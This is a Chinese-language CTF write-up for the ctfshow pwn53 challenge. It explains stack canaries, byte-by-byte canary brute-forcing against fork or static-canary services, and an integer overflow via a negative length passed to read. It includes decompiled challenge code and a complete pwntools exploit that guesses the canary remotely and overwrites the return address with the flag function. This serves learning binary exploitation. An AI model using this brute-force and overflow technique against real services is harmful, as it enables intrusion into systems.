由于这道题的非常非常重要,我必须单独开一个blog讲解一下

canary保护

一个开了canary保护的栈如下

[高地址]
参数
EIP(返回地址)
EBP
canary
局部变量(缓冲区buf)
[低地址]

为了防止我们覆盖EIP,程序在缓冲区和返回地址之间插了一个随机生成的数值,即canary,如果canary的值和原本不符(比如被我们覆盖成了AAAAAAAA),程序会调用 __stack_chk_fail 函数,终止进程

我们可以把canary理解为cookie

因此,我们必须要在canary的位置覆盖上正确的值,才能覆盖到返回地址,目前有两种办法,泄露和爆破,先讲一下后者

爆破canary

爆破的前提条件

并不是所有的 Canary 都能爆破,通常需要满足以下两个条件之一:

Fork 机制(BROP 中常见):服务器使用 fork() 创建子进程来处理请求。子进程的内存布局(包括 Canary)是父进程的副本,因此每次连接时的 Canary 都是一样的

静态 Canary:Canary 的值是固定的(例如从固定文件中读取,且文件内容不变),或者随机数种子被固定了。只要我们重新连接,Canary 的值还是那个

如果每次程序运行 Canary 都是完全随机且不同的,这种爆破方法就会失效

逐字节爆破canary

如果我们每一次都是尝试不同的地址,那需要尝试256的4次方次,显然不可能,于是我们可以选择逐位爆破,从第1位开始尝试,不动其他3位,这样如果程序不崩溃,那么第1位的值就确定了,以此类推

一个字节的大小是256,也就是说,我们最多需要尝试256*4=1024次即可爆破成功

在我突击了几天python后,终于可以理解这段爆破的方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 外层循环:决定我们要猜第几个字节(一共4个)
for i in range(4):
# 2. 内层循环:尝试所有可能的数值(0x00 - 0xFF)
for c in range(256):
io = remote('pwn.challenge.ctf.show', 28197) # 每次都要重连
io.sendlineafter(b'>', b'-1') # 触发整数溢出漏洞

# 3. 构造试探性 Payload
payload = b'a' * 32 + canary + p8(c)
io.sendafter(b'$ ', payload)

# 4. 接收反馈并判断
res = io.recvall(timeout=1)
if b'Canary Value Incorrect' not in res:
canary += p8(c) # 猜对了!记录下来
print(f"[*] Found byte: {hex(c)}")
io.close()
break
io.close()

eg:ctfshow pwn53

再多一眼看一眼就会爆炸

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo();
canary();
ctfshow();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
char v2[32]; // [esp+8h] [ebp-50h] BYREF
char buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int v5; // [esp+4Ch] [ebp-Ch]

v5 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( v5 <= 31 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
}

这个题实际上是没有开启真正的canary保护的,只是在远程部署了一个类canary的文件,然后用memcmp函数去比较,如果不符合&global_canary里的值就会报错并退出,所以属于是静态canary,值是固定的,因此可以爆破

并且已经给了我们flag后门函数,只要把返回地址覆盖到flag就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
puts(s);
return fflush(stdout);
}

但是这时我们又迎来了一个新的问题

1
2
3
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);

int sscanf(const char *str, const char *format, …);

功能:从一个字符串中读取与指定格式相符的数据,并将其存储到后续参数指定的变量地址中,即即 &nbytes

而read函数读入的字节长度就是我们传入的nbytes大小,这导致我们输入的长度是被限制的,这时候就需要我们的整数溢出了

整数溢出

这里和CSAPP第二章整数表示和补码的部分高度相关

程序问我们How many bytes do you want to write to the buffer?

假如我们用sscanf输入了-1,会发生什么呢

在内存中,-1 的样子是: 1111 1111 1111 1111 1111 1111 1111 1111 (十六进制为0xFFFFFFFF)

%d指有符号整数,它看到最高位为1时,就知道是负数,具体为什么看CSAPP即可

但是由于我们定义了size_t nbytes,也就是说nbytes是一个无符号数,那么read看到的就是4,294,967,295这个数,即我们可以读入这么长的数

也就是我们先用sscanf读进去-1,再用read函数去爆破canary就可以了

canary爆破模板和最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch='i386', log_level='error')
binary = './pwn'
canary = b''
#设置初始的canary为空

print(f"[+] 开始爆破 Canary...")

# 第一步:双层循环爆破 4 字节 Canary
for i in range(4):
for c in range(256):
# 每次尝试都必须重新连接
io = remote('pwn.challenge.ctf.show', 28197)
io.sendlineafter(b'>', b'-1')

# 尝试发送:Padding + 已知Canary + 当前猜测字节
io.sendafter(b'$ ', b'a' * 32 + canary + p8(c))

# 判断:如果没有收到报错信息,说明猜对了
res = io.recvall(timeout=1)
if b'Canary Value Incorrect' not in res:
canary += p8(c)
print(f"[*] Found byte {i+1}: {hex(c)} -> Current: {canary.hex()}")
io.close()
break # 跳出内层循环,猜下一个字节
io.close()

# 第二步:拿到完整 Canary,发送最终 Payload
print(f"[+] Final Canary: {canary.hex()}")
io = remote('pwn.challenge.ctf.show', 28197)
io.sendlineafter(b'>', b'-1')

payload = flat(b'a' * 32, canary, p32(0) * 4, ELF(binary).sym['flag'])
io.sendafter(b'$ ', payload)

io.interactive()